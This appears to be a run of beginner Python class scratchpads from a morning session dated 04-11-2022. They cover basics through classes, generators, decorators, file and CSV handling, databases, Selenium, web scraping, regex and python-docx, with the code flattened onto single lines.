Python daily morning 04-11-2022
Python daily morning 04-11-2022
Scratchpad 1 and scratchpad 2
print("Hello World") # Snake Case - high_score / player_1_high_score # Camel Case - highScore / player1HighScore # Pascal Case - HighScore / Player1HighScore # Kebab Case - high-score / player-1-high-score # player_one_score = 10 # player_two_score = 15 # total_scores = player_one_score + player_two_score # print(total_scores) score1 = 10 score2 = 20 score3 = score1 / score2 # duck typing
Scratchpad 2
# # print("Amount of US Dollars you want to convert?") # usd = input("Amount of US Dollars you want to convert? ") # inr = float(usd) * 82.23 # print(f"${usd} is equal to Rs. {inr}") # name = "Mark Zuckerberg" # if name == "Elon Musk": # print("Twitter") # code block # elif name == "Mark Zuckerberg": # print("Meta") # elif name == "Sundar Pichai": # print("Google") # else: # print("Unknown name") # print("Program completed") # is_logged_in = True # if is_logged_in: # print("Access granted") # else: # print("Access denied") # logged_in_user = "alklsmndjkasd" # if logged_in_user: # print("Access granted") # else: # print("Access denied") # age = int(input("Please enter your age: ")) # # age = int(age) # if age > 65: # print("Drinks are free") # elif age > 21: # print("You can enter and you can drink") # elif age > 18: # print("You can enter but you can't drink") # else: # print("Not allowed") # age = int(input("Please enter your age: ")) # # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age > 65: # print("Drinks are free") # else: # print("Not allowed") # age = input("How old are you? ") # if age: # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age > 65: # print("Drinks are free") # else: # print("Not allowed") # else: # print("Please enter your age!") player1 = input("Enter player 1's choice: ") player2 = input("Enter player 2's choice: ") if player1 == player2: print("It's a tie") elif ( (player1 == "rock" and player2 == "scissors") or (player1 == "paper" and player2 == "rock") or (player1 == "scissors" and player2 == "paper") ): print("Player 1 wins") elif ( (player2 == "rock" and player1 == "scissors") or (player2 == "paper" and player1 == "rock") or (player2 == "scissors" and player1 == "paper") ): print("Player 2 wins") else: print("Something went wrong")
Scratchpad #3
# # print("Amount of US Dollars you want to convert?") # usd = input("Amount of US Dollars you want to convert? ") # inr = float(usd) * 82.23 # print(f"${usd} is equal to Rs. {inr}") # name = "Mark Zuckerberg" # if name == "Elon Musk": # print("Twitter") # code block # elif name == "Mark Zuckerberg": # print("Meta") # elif name == "Sundar Pichai": # print("Google") # else: # print("Unknown name") # print("Program completed") # is_logged_in = True # if is_logged_in: # print("Access granted") # else: # print("Access denied") # logged_in_user = "alklsmndjkasd" # if logged_in_user: # print("Access granted") # else: # print("Access denied") # age = int(input("Please enter your age: ")) # # age = int(age) # if age > 65: # print("Drinks are free") # elif age > 21: # print("You can enter and you can drink") # elif age > 18: # print("You can enter but you can't drink") # else: # print("Not allowed") # age = int(input("Please enter your age: ")) # # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age > 65: # print("Drinks are free") # else: # print("Not allowed") # age = input("How old are you? ") # if age: # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age > 65: # print("Drinks are free") # else: # print("Not allowed") # else: # print("Please enter your age!") player1 = input("Enter player 1's choice: ") player2 = input("Enter player 2's choice: ") if player1 == player2: print("It's a tie") elif ( (player1 == "rock" and player2 == "scissors") or (player1 == "paper" and player2 == "rock") or (player1 == "scissors" and player2 == "paper") ): print("Player 1 wins") elif ( (player2 == "rock" and player1 == "scissors") or (player2 == "paper" and player1 == "rock") or (player2 == "scissors" and player1 == "paper") ): print("Player 2 wins") else: print("Something went wrong")
Scratchpad #4
# char = " " # for char in "Hello World": # print(char, "Hello World") # for num in range(0, 1000): # print(num) # for num in range(10): # print(num) # for num in range(5, 50): # print(num) # for num in range(0, 101, 10): # print(num) # for num in range(0, -10, -1): # print(num) # for num in range(1, 21): # if num == 5 or num == 16: # print(f"{num} - FizzBuzz") # elif num % 2 == 0: # print(f"{num} - Fizz is even") # elif num % 2 != 0: # print(f"{num} - Fizz is odd") # password = input("Please enter the secret password: ") # while password != "testpass123": # print("Wrong password") # password = input("Please enter the secret password again: ") # for num in range(10): # print(num) # count = 0 # while count < 10: # print(count) # count += 1 # count = 0 # while count < 10: # print(count) # if count == 6: # break # count += 1 # password = input("Please enter the secret password: ") # while True: # if password == "testpass123": # break # print("Wrong password") # password = input("Please enter the secret password again: ") while True: player1 = input("Enter player 1's choice: ") player2 = input("Enter player 2's choice: ") if player1 == player2: print("It's a tie") elif ( (player1 == "rock" and player2 == "scissors") or (player1 == "paper" and player2 == "rock") or (player1 == "scissors" and player2 == "paper") ): print("Player 1 wins") elif ( (player2 == "rock" and player1 == "scissors") or (player2 == "paper" and player1 == "rock") or (player2 == "scissors" and player1 == "paper") ): print("Player 2 wins") else: print("Something went wrong") play_again = input("Do you want to play again? (y/n): ") if play_again != "y": break
Scratchpad #5
# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"] # # for lang in langs: # # print(lang) # count = 0 # while count < len(langs): # print(langs[count]) # count += 1 langs = [ "Haskell", "JavaScript", "Perl", "Python", "Python", "Python", "Ruby", "Rust", "V", ] count = 0 while count < len(langs): print(langs[count]) count += 2 # count = len(langs) - 1 # while count >= 0: # print(langs[count]) # count -= 2
Scratchpad #6
# nums = [1, 2, 3, 4, 5, 6] # doubles = [] # for num in nums: # doubles.append(num * 2) # # print(doubles) # doubles = [num * 2 for num in nums] # # print(doubles) # names = ["john", "jack", "jane", "jill"] # upper_names = [name.upper() for name in names] # print(names) # print(upper_names) # numbers = [1, 2, 3, 4, 5, 6] # evens = [num for num in numbers if num % 2 == 0] # print(evens) # names = ["john", "johnny", "jimmy", "jill"] # selected = [name for name in names if len(name) < 5] # selected = [] # for name in names: # if len(name) < 5: # selected.append(name) # print(selected) names = ["john", "johnny", "jimmy", "jill"] # new_names = [name for name in names if len(name) < 5] # new_names = [name.upper() if len(name) < 5 else name for name in names] # print(new_names) # new_names = [] # for name in names: # if len(name) < 5: # new_names.append(name.upper()) # else: # new_names.append(name) # print(new_names) # message = "Hello Python!" nl = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]] for lst in nl: # [4, 5, 6] for num in lst: # 3 print(num) nl = [ [[1, 2, 3], [1, 2, 3, 5], [1, 2, 3]], [[1, 2, 3], [1, 2, 3, 2, 234, 324], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]], ]
Scratchpad #7
# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # products = [ # [ # "iPhone 14 Pro Max", # "Apple", # "Some description...", # 150000, # 250, # True, # "electronics", # ], # [ # "iPhone 14 Pro Max", # "Apple", # "Some description...", # 150000, # 250, # True, # "electronics", # ], # [ # "iPhone 14 Pro Max", # "Apple", # "Some description...", # 150000, # 250, # True, # "electronics", # ], # ] # product1 = [ # "iPhone 14 Pro Max", # "Apple", # "Some description...", # 250, # 150000, # True, # "electronics", # ] # print(product1[3]) # product2 = [ # "One Plus Nord", # "One Plus", # "Some description...", # 60000, # 1000, # True, # "electronics", # ] # product1 = { # "name": "iPhone 14 Pro Max", # "brand": "Apple", # "description": "Some description...", # "in_stock": 250, # "discounted": True, # "category": ["electronics", "consumer", "something else"], # "price": 150000, # 1000: "Hello World", # "other": {"hello": "world", "test": "text"}, # } # product2 = dict(name="Nord", brand="One Plus", price=20000) # print(product2) book = { "name": "The theory of everything", "author": "Stephen Hawking", "pages": 140, "language": "English", "in_stock": True, } # for value in book.values(): # print(value) # for key in book.keys(): # print(key) # for item in book.items(): # print(item) # for key, value in book.items(): # print(key, value) # for key in book: # print(key, book[key])
Scratchpad #8
# # def greet(): # # print("Hello World") # # print("Hello Again") # # greet() # # greet() # # greet() # # def square_of_7(): # # result = 7**2 # # return result # # result = square_of_7() # # print(result) # # from random import random # # def coin_flip(): # # if random() > 0.5: # # print("HEADS") # # else: # # print("TAILS") # # coin_flip() # # def add(num1, num2): # # return num1 + num2 # # print(add(10, 23)) # # from random import random # # def coin_flip(): # # if random() > 0.5: # # print("HEADS") # # else: # # print("TAILS") # # def flip(times): # # for _ in range(times): # # coin_flip() # # flip(10) # # def sum_odd_numbers(numbers): # # total = 0 # # for num in numbers: # # if num % 2 != 0: # # total += num # # return total # # print(sum_odd_numbers([1, 2, 3, 4, 5, 6])) # # def is_odd_number(number): # # if number % 2 != 0: # # return True # # return False # # print(is_odd_number(5)) # # def exponent(num=2, power=1): # # return num**power # # print(exponent(5, 4)) # def add(a, b): # return a + b # def mul(a, b): # return a * b # def math(a, b, fn=add): # return fn(a, b) # print(math(10, 20)) # # print(add(10, 4)) # # print(mul(10, 4)) # def full_name(first="Jane", last="Smith"): # return "Your name is " + first + " " + last + "." # print(full_name(last="Doe", first="John")) # print(full_name("john")) # full_name = "John Doe" # def greet(): # full_name = "Jane Doe" # print(full_name) # # greet() # print(full_name) # total = 0 # def static(): # global total # total += 1 # return total # print(static()) def outer(): count = 0 def inner(): nonlocal count count += 1 return count return inner() print(outer())
Scratchpad #9
# # # def greet(message, person): # # # """ # # # This function accepts a message and a name. # # # @params # # # message: str - Message your want to print # # # person: str - Name of the person # # # """ # # # return f"{message}, {person}" # # # # print(greet("Hello, how are you", "John Doe")) # # # # print(greet.__doc__) # # # print(print.__doc__) # # # total = 10 # # # def change(num): # # # num += 1 # # # return num # # # total = change(num=total) # # # print(total) # # def add(*nums): # # total = 0 # # for num in nums: # # total += num # # return total # # print( # # add( # # 10, # # 20, # # 12, # # 123, # # ) # # ) # # def profile(**details): # # print( # # f"My name is {details['first_name']} {details['last_name']} and I am {details['age']} years old" # # ) # # profile(first_name="John", last_name="Doe", age=25) # # def show_info(num1, num2, *nums, role="admin", **details): # # print(num1, num2, nums, role, details) # # show_info(1, 2, 3, 4, role="moderator", hello="world", fav_num=10) # # def add_all_values(*args): # # total = 0 # # for num in args: # # total += num # # print(total) # # data = [10, 23, 45, 6, 32] # # add_all_values(*data) # def say_name(first, last): # print(f"My name is {first} {last}.") # data = {"first": "John", "last": "Doe"} # # say_name(data["first"], data["last"]) # say_name(**data) # def add(a, b): # return a + b # hello_world = add # print(hello_world(10, 20)) def math(a, b, fn): return fn(a, b) # def add(a, b): # return a + b # def sub(a, b): # return a - b # print(math(10, 5, sub)) # print(math(10, 5, lambda a, b: a * b)) # print(math(10, 5, lambda a, b: a / b)) # def add(a, b): # return a + b # add2 = lambda a, b: a + b # print(add2(10, 34)) # nums = [1, 2, 3, 4, 5, 6] # doubles = [num * 2 for num in nums] # print(doubles) # doubles2 = list(map(lambda num: num * 2, nums)) # print(doubles2) # nums = [1, 2, 3, 4, 5, 6] # evens = [num for num in nums if num % 2 == 0] # odds = list(filter(lambda num: num % 2 == 1, nums)) # print(evens) # print(odds) names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"] print( list( map( lambda name: f"The one who wins is {name}", filter(lambda name: len(name) < 5, names), ) ) )
Scratchpad 10
# import random # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # RANK_TUPLE = ( # "Ace", # "2", # "3", # "4", # "5", # "6", # "7", # "8", # "9", # "10", # "Jack", # "Queen", # "King", # ) # NCARDS = 8 # def get_card(deck_list_in): # this_card = deck_list_in.pop() # return this_card # def shuffle(deck_list_in): # deck_list_out = deck_list_in.copy() # random.shuffle(deck_list_out) # return deck_list_out # print("Welcome to higher or lower.") # print( # "You have to choose whether the next card to be shown will be higher or lower than the current card." # ) # print("Getting it right adds 20 points; get it wrong and you will lose 15 points.") # print("You have 50 points to start.") # print() # starting_deck_list = [] # for suit in SUIT_TUPLE: # for this_value, rank in enumerate(RANK_TUPLE): # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1} # starting_deck_list.append(card_dict) # score = 50 # while True: # game_deck_list = shuffle(starting_deck_list) # current_card_dict = get_card(game_deck_list) # current_card_rank = current_card_dict["rank"] # current_card_value = current_card_dict["value"] # current_card_suit = current_card_dict["suit"] # print(f"Starting card is {current_card_rank} of {current_card_suit}") # print() # for card_number in range(0, NCARDS): # answer = input( # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): " # ) # answer = answer.casefold() # next_card_dict = get_card(game_deck_list) # next_card_rank = next_card_dict["rank"] # next_card_suit = next_card_dict["suit"] # next_card_value = next_card_dict["value"] # print(f"Next card is {next_card_rank} of {next_card_suit}") # if answer == "h": # if next_card_value > current_card_value: # print("You got it right, it was higher") # score += 20 # else: # print("Sorry, it was not higher") # score -= 15 # elif answer == "l": # if next_card_value < current_card_value: # print("You got it right, it was lower") # score += 20 # else: # print("Sorry, it was not lower") # score -= 15 # print(f"Your score is {score}") # print() # current_card_rank = next_card_rank # current_card_value = next_card_value # go_again = input("To play again, press ENTER, or 'q' to quit: ") # if go_again == "q": # break # print("Thank you for playing") person = [["name", "john"], ["job", "programmer"], ["city", "mumbai"]] personDetails = {} for lst in person: personDetails[lst[0]] = lst[1] print(personDetails)
Scratchpad #11
# def div(a, b): # if type(a) != int or type(b) != int: # raise TypeError("a and b need to be integers") # return a / b # print(div(10, "hello")) # print("Hello World!") # raise Exception("Something went wrong") # print("Goodbye World") # def div(a, b): # try: # return a / b # except: # return "Something went wrong" # def div(a, b): # try: # return a / b # except (TypeError, ZeroDivisionError): # return "Something went wrong" # def div(a, b): # try: # result = a / b # except (TypeError, ZeroDivisionError) as err: # return f"Something went wrong. {err}" # else: # # MORE LOGIC # return result # finally: # print("I will always run!") # print(div(10, 2)) # import random as r # def random(): # print("Hello World") # print(r.random()) # print(r.randint(10, 100)) from random import randint as ri, random, shuffle # from random import * print(ri(1, 100)) print(random())
Scratchpad #12
# message = "Hello World" # def append(): # pass # append() # class User: # def append(): # pass # jane = User() # jane.append # message = "Hello World" # print(type(jane)) # print(type(message)) def Person(first_name, last_name, email): first_name = first_name last_name = last_name email = email def greet(): print("Hello World") return { "first_name": first_name, "last_name": last_name, "email": email, "greet": greet, } class User: # Constructor def __init__(self, first_name, last_name, email): self.first_name = first_name self.last_name = last_name self.email = email def greet(self): print("Hello World") john = User("John", "Doe", "john@example.com") jane = Person("Jane", "Doe", "jane@example.com") print(john.first_name) print(john.last_name) print(john.email) john.greet() print(jane["first_name"]) print(jane["last_name"]) print(jane["email"]) jane["greet"]()
Scratchpad #13
class Customer: bank_name = "ABC Bank" total_customer_count = 0 def __init__(self, first_name, last_name, email): self.first_name = first_name self.last_name = last_name self.email = email self.country = "India" self._balance = 0 Customer.total_customer_count += 1 def __repr__(self): return f"{self.first_name} {self.last_name}" @classmethod def get_customer_count(cls): return cls.total_customer_count def get_balance(self): print("Balance was checked") return self._balance def set_balance(self, new_balance): self._balance = new_balance print(f"Your balance has been updated") return self._balance cus1 = Customer("John", "Doe", "john@example.com") cus2 = Customer("Jane", "Smith", "jane@example.com") cus3 = Customer("Jane", "Smith", "jane@example.com") print(cus1) print(cus2) print(cus3) # print(Customer.get_customer_count()) # print(Customer.get_balance()) # cus2.set_balance(1000) # print(cus2.get_balance()) # print(cus1.bank_name) # print(cus2.bank_name) # print(Customer.total_customer_count) # # print(cus1._Customer__balance) # print(cus1.check_balance()) # cus2.country = "UK" # cus1.last_name = "Roe" # print(cus2.country) # print(cus1.last_name) langs = [ "Haskell", "JavaScript", "Perl", "Python", "Python", "Python", "Ruby", "Rust", "V", ] count = 0 while count < len(langs): print(langs[count]) count += 2
Scratchpad #14
# class User: # base class or parent class # active_users = 0 # def __init__(self, first_name, last_name, email, password): # self.first_name = first_name # self.last_name = last_name # self.email = email # self.password = password # self._balance = 0 # def __repr__(self): # return self.first_name # def login(self, password): # if password == self.password: # print(f"{self.email} has successfully logged in") # User.active_users += 1 # return True # return False # def logout(self): # User.active_users -= 1 # print(f"{self.email} has successfully logged out") # return True # @property # def balance(self): # print(f"Your current balance is Rs. {self._balance}.") # return self._balance # @balance.setter # def balance(self, amount): # self._balance = amount # print(f"Your new balance is Rs. {self._balance}") # return self._balance # # def get_balance(self): # # print(f"Your current balance is Rs. {self._balance}.") # # return self._balance # # def set_balance(self, amount): # # self._balance = amount # # print(f"Your new balance is Rs. {self._balance}") # # return self._balance # class Admin(User): # subclass or child class # groups = [] # def __init__(self, first_name, last_name, email, password, phone): # super().__init__(first_name, last_name, email, password) # self.phone = phone # def create_group(self, group_details): # Admin.groups.append(group_details) # user1 = User("John", "Doe", "john@example.com", "123456") # user2 = User("Jane", "Smith", "jane@example.com", "123456") # user3 = Admin("Jack", "Smith", "jack@example.com", "123456", "+91 9876654321") # user3.create_group({"name": "Python group", "description": "Some description"}) # # user2.login("123456") # # user3.login("123456") # # print(Admin.groups) # # user3._balance = 1000 # # print(user3._balance) # # user3.set_balance(2500) # # user3.get_balance() # # user3.balance = 1000 # # print(user3.balance) # print(user3.phone) class Human: def __init__(self, name, age): self.name = name self.age = age def __repr__(self): return self.name def __len__(self): return self.age def __add__(self, other_human): return Human("new born", 0) def greet(self): print("Hello World") class Animal: def __init__(self, name): self.name = name def greet(self): print("ajksndikljasndkljasd") class Mutant(Animal, Human): def greet(self): print("Hello ajksndjkansdjik") t1 = Human("John", 20) t2 = Human("Jane", 22) print(t1 + t2) # t2 = Animal("Jack") # t3 = Mutant("Wolverine") # t1.greet() # t2.greet() # t3.greet() a = [1, 2, 3, 4] for num in a: print(num) # for num = next(ia) in ia = iter(a): # print(num)
Scratchpad #15
# names = ["john", "jack", "jane", "jill", "james"] # # def my_for(iterable): # # iterator = iter(iterable) # # while True: # # try: # # print(next(iterator)) # # except StopIteration: # # break # # my_for(names) # class Counter: # def __init__(self, start, end, step=1): # self.start = start # self.end = end # self.step = step # def __iter__(self): # return self # def __next__(self): # if self.start < self.end: # num = self.start # self.start += self.step # return num # else: # raise StopIteration # for num in Counter(0, 50, 5): # print(num) # # r = range(0, 10) # # c = Counter(0, 10) # # iter_c = iter(c) # # next(iter_c) # def count(start, end, step=1): # count = start # while count <= end: # yield count # count += step # val = count(0, 100, 5) # for num in val: # print(num) # nums = [1, 1, 2] # a = 2 # b = 3 # def fib_list(max): # nums = [] # a, b = 0, 1 # while len(nums) < max: # nums.append(b) # a, b = b, a + b # return nums # def fib_gen(max): # a, b = 0, 1 # count = 0 # while count < max: # a, b = b, a + b # yield a # count += 1 # # print(fib_list(1000000)) # # print(fib_gen(100000000000000000000000000000000000000000)) # res = fib_gen(100000000000000000000000000000000000000000) # for num in res: # print(num) import time gen_start_time = time.time() print(sum(num for num in range(100000000))) gen_stop_time = time.time() - gen_start_time list_start_time = time.time() print(sum([num for num in range(100000000)])) list_stop_time = time.time() - list_start_time print(f"Generator total time: {gen_stop_time}") print(f"List Comprehension total time: {list_stop_time}")
Scratchpad #16
# def math(a, b, fn): # return fn(a, b) # def sub(a, b): # return a - b # print(math(10, 5, lambda a, b: a + b)) # print(math(10, 5, sub)) # def sum(n, func): # total = 0 # for num in range(1, n + 1): # total += func(num) # return total # def square(n): # return n * n # def cube(n): # return n * n * n # print(sum(10, cube)) import random # def greet(person): # def get_mood(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return msg # result = f"{get_mood()}, {person}" # return result # print(greet("Jane")) # print(greet("John")) # def make_greet_func(person): # def make_message(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return f"{msg} {person}" # return make_message # greet_john = make_greet_func("John") # print(greet_john()) def stars(fn): def wrapper(): print(""*" * 10") fn() print("*" * 10) return wrapper @stars # say_hello = stars(say_hello) def say_hello(): print("Hello World") # say_hello = stars(say_hello) say_hello() # say_hello()
Scratchpad #17
# # def stars(fn): # # def wrapper(): # # print("*" * 10) # # fn() # # print("*" * 10) # # return wrapper # # @stars # # def say_hello(): # # print("Hello World") # # # say_hello = stars(say_hello) # # say_hello() # # from functools import wraps # # def make_upper_case(fn): # # """Decorator that uppercases the returned string""" # # @wraps(fn) # # def wrapper(*args, **kwargs): # # """Wrapper function that will be returned by this decorator""" # # return fn(*args, **kwargs).upper() # # return wrapper # # @make_upper_case # # def say_hello(): # # """Function that says hello to the world""" # # return "Hello World" # # @make_upper_case # greet = wrapper(person) # # def greet(person): # # """Function that says hello to some person with a name""" # # return f"Hello, {person}" # # @make_upper_case # # def say_whatever(message, person): # # """Function that says whatever you want to whoever you want""" # # return f"{message}, {person}." # # # print(say_hello()) # # # print(greet("John")) # # # print(say_whatever("Hello", "John")) # # print(say_hello.__doc__) # # print(greet.__doc__) # # print(say_whatever.__doc__) # # print(say_hello.__name__) # # print(greet.__name__) # # print(say_whatever.__name__) # # from functools import wraps # # def make_upper_case(fn): # # """Decorator that uppercases the returned string""" # # @wraps(fn) # wrapper = wraps(fn)(wrapper) # # def wrapper(*args, **kwargs): # # """Wrapper function that will be returned by this decorator""" # # return fn(*args, **kwargs).upper() # # return wrapper # # enforce(str, int, bool) # # types = str, int # # args = msg, times # # [(msg, str), (times, int)] ---> str(msg), int(times) # def enforce(*types): # def inner(fn): # def wrapper(*args, **kwargs): # new_args = [] # ['10000', 3] # for a, t in zip(args, types): # try: # new_args.append(t(a)) # except (ValueError, TypeError): # print("Something went wrong") # return fn(*new_args) # return wrapper # return inner # @enforce(str, int) # announce = enforce(str, int)(announce) # def announce(msg, times): # print(f"{msg} \n" * times) # # message = input("Please enter a message: ") # # count = input("How many times do you want the message to be displayed: ") # # announce(message, count) # announce(10000, "three") # Bank # methods # # Customer # self.balance # methods # deposit(amount) # withdraw(amount) -> if sufficient balance -> raise # check_balance() # edit_email() # edit_name() # edit -> for all attributes # john = Customer(...) # john.deposit(100)
Scratchpad #18
# file = open("./hello.txt") # # print(file) # print(file.read()) # file.close() # print(file.closed) # with open("./hello.txt", "r") as file: # print(file.read()) # print(file.closed) # print(file.closed) # print(file.read()) # with open("./hello.txt", "w") as file: # file.write("Hello World\n") # file.write("Some other content\n") # with open("./hello_world.txt", "w") as file: # file.write("Hello World " * 100) # with open("./hello.txt", "a") as file: # file.write("Hello Universe\n") # file.write("*" * 80) # file.write("\n") # with open("./hello.txt", "r+") as file: # file.seek(0) # file.write("---This is some sample text---") # with open("./hello.txt") as file: # data = file.read() # data = data.replace("Universe", "World") # with open("./hello.txt", "w") as f: # f.write(data) # from csv import reader, DictReader # with open("./data.csv") as file: # csv_reader = reader(file) # for row in csv_reader: # print(row) # with open("./data.csv") as file: # csv_reader = DictReader(file) # for row in csv_reader: # print(row) from csv import writer, DictWriter # with open("./data2.csv", "w", newline="") as file: # csv_writer = writer(file) # csv_writer.writerow(["Name", "Type"]) # csv_writer.writerow(["Pikachu", "Electric"]) # csv_writer.writerow(["Balbasaur", "Grass"]) with open("./data2.csv", "w", newline="") as file: headers = ["Name", "Type", "Abilities"] csv_writer = DictWriter(file, fieldnames=headers) csv_writer.writeheader() csv_writer.writerow( {"Name": "Pikachu", "Type": "Electric", "Abilities": "Thundershock"} )
Scratchpad #19
# import pickle class User: def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self.age = age def __repr__(self): return f"{self.first_name} {self.last_name}" def greet(self): return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old" # # user1 = User("John", "Doe", 20) # # user2 = User("Jane", "Smith", 25) # # print(user2.greet()) # # print(user1) # # with open("users.pickle", "wb") as file: # # pickle.dump((user1, user2), file) # with open("users.pickle", "rb") as file: # restored_data = pickle.load(file) # user1 = restored_data[0] # user2 = restored_data[1] # print(user2.greet()) import json import jsonpickle # user1 = User("John", "Doe", 20) # user2 = User("Jane", "Smith", 25) # print(json.dumps(user1.__dict__)) # with open("users_data.json", "w") as file: # data = jsonpickle.encode((user1, user2)) # file.write(data) with open("users_data.json") as file: data = file.read() restored_data = jsonpickle.decode(data) user1 = restored_data[0] user2 = restored_data[1] print(user1.greet())
Scratchpad #20
# # import sqlite3 # # single_data = ["John", "Doe", 25] # # data = [ # # ["Jack", "Smith", 34], # # ["James", "Roe", 37], # # ["Jill", "Doe", 19], # # ["Jane", "Smith", 40], # # ] # # conn = sqlite3.connect("bank.db") # # c = conn.cursor() # # # c.execute("CREATE TABLE customers (first_name TEXT, last_name TEXT, age INTEGER);") # # # c.execute( # # # "INSERT INTO customers (first_name, last_name, age) VALUES ('Joe', 'Roe', 30)" # # # ) # # query = """INSERT INTO customers VALUES (?, ?, ?)""" # # # c.execute(query, single_data) # # # for item in data: # # # print(f"Writing {item[0]} {item[1]} to database...") # # # c.execute(query, item) # # # print("Finished\n") # # c.executemany(query, data) # # conn.commit() # # conn.close() # from pymongo import MongoClient # client = MongoClient("mongodb://127.0.0.1:27017") # db = client.bankapp # coll = db["customers"] # user = {"first_name": "John", "last_name": "Doe", "age": 20} # users = [ # {"first_name": "Jane", "last_name": "Doe", "age": 24}, # {"first_name": "Jack", "last_name": "Ma", "age": 30}, # {"first_name": "Jill", "last_name": "Roe", "age": 37}, # {"first_name": "James", "last_name": "Marr", "age": 43}, # ] # # coll.insert_one(user) # # coll.insert_many(users) # search_result = coll.find({"last_name": "Doe"}) # print(list(search_result)) # -------------- SELENIUM --------------- from time import sleep from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By browser = webdriver.Chrome("chromedriver.exe") browser.maximize_window() # browser.get("https://www.youtube.com/") # sleep(3) # search_box = browser.find_element( # By.XPATH, # "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input", # ) # sleep(1) # search_box.click() # search_box.send_keys("avatar 2 trailer", Keys.ENTER) # sleep(3) # video = browser.find_element(By.PARTIAL_LINK_TEXT, "New Trailer") # sleep(1) # video.click() # # video = browser.find_element( # # By.XPATH, # # "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div[2]/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string", # # ) # # sleep(1) # # video.click() # sleep(20) # ----------------------------------------------- # browser.get("https://web.whatsapp.com/") # sleep(30) # search_box = browser.find_element( # By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]" # ) # sleep(1) # search_box.click() # search_box.send_keys("PYTHON Morning RS 4/11/22", Keys.ENTER) # sleep(2) # for i in range(20): # message_box = browser.find_element( # By.XPATH, # "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p", # ) # sleep(1) # message_box.click() # message_box.send_keys("Test Message", Keys.ENTER) # sleep(1) # sleep(10)
Scratchpad 21
# # # html = """ # # # <html> # # # <head> # # # <title>My Application</title> # # # </head> # # # <body> # # # <h1>Hello World</h1> # # # <h2>Hello World from H2</h2> # # # <p><b>This is some para</b> and this is some more content.</p> # # # <p id="special"> # # # Lorem ipsum dolor sit amet consectetur adipisicing elit. Quas, vitae # # # quasi. Itaque hic vero porro animi ipsam, laudantium esse nobis deleniti # # # aliquam et sed. At deserunt omnis commodi repellat. Animi! # # # </p> # # # <ul> # # # <li class="red-text"> # # # Lorem ipsum dolor sit amet, consectetur adipisicing elit. Cum, facere. # # # </li> # # # <li class="red-text"> # # # Second List item # # # </li> # # # <li class="red-text"> # # # Something else # # # </li> # # # <li> # # # Last item in the list # # # </li> # # # </ul> # # # </body> # # # </html> # # # """ # # # from bs4 import BeautifulSoup # # # soup = BeautifulSoup(html, "html.parser") # # # # print(soup.body.h1) # # # # print(type(soup)) # # # # print(soup.find("h2")) # # # # print(soup.find("li")) # # # # print(soup.find_all("li")) # # # # print(soup.find(id="special")) # # # # print(soup.find(class_="red-text")) # # # # print(soup.find_all(class_="red-text")) # # # # print(soup.find("h2").get_text()) # # # # rt = soup.find(class_="red-text") # # # # print(rt.find_next_sibling().find_next_sibling()) # # # # print(rt.find_parent().find_parent().find_parent()) # # # # print(soup.find("li")["class"]) # # import requests # # from bs4 import BeautifulSoup # # from csv import writer # # response = requests.get("https://arstechnica.com/") # # soup = BeautifulSoup(response.text, "html.parser") # # articles = soup.find_all(class_="article") # # with open("articles.csv", "w", newline="") as file: # # csv_writer = writer(file) # # csv_writer.writerow(["title", "excerpt", "author", "date", "link"]) # # for article in articles: # # title = article.find("h2").get_text() # # excerpt = article.find(class_="excerpt").get_text() # # author = article.find("span").get_text() # # date = article.find("time").get_text() # # link = article.find("a")["href"] # # csv_writer.writerow([title, excerpt, author, date, link]) # import re # # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}") # # result = pattern.search( # # "Hello world, you can call us at 022 2345 7867 or 02123457865 today!" # # ) # # print(result.group()) # # result = pattern.findall( # # "Hello world, you can call us at 022 2345 7867 or 02123457865 today!" # # ) # # print(result) # def extract_phone(inp): # phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}") # return phone_re.findall(inp) # def validate_landline_no(phone_no): # phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}") # match = phone_re.fullmatch(phone_no) # if match: # return True # return False # print(validate_landline_no("02223456789")) # # 21 Jan, 2023 # # 192.168.3.45 import docx from docx.enum.text import WD_ALIGN_PARAGRAPH doc = docx.Document() doc.add_heading("This is some important title", level=0) doc.add_heading("My semi-important subtitle", level=2) para = doc.add_paragraph( "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum eos." ) para.add_run("\nHello World") doc.add_page_break() doc.add_heading("Another page", level=1) para2 = doc.add_paragraph( "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum 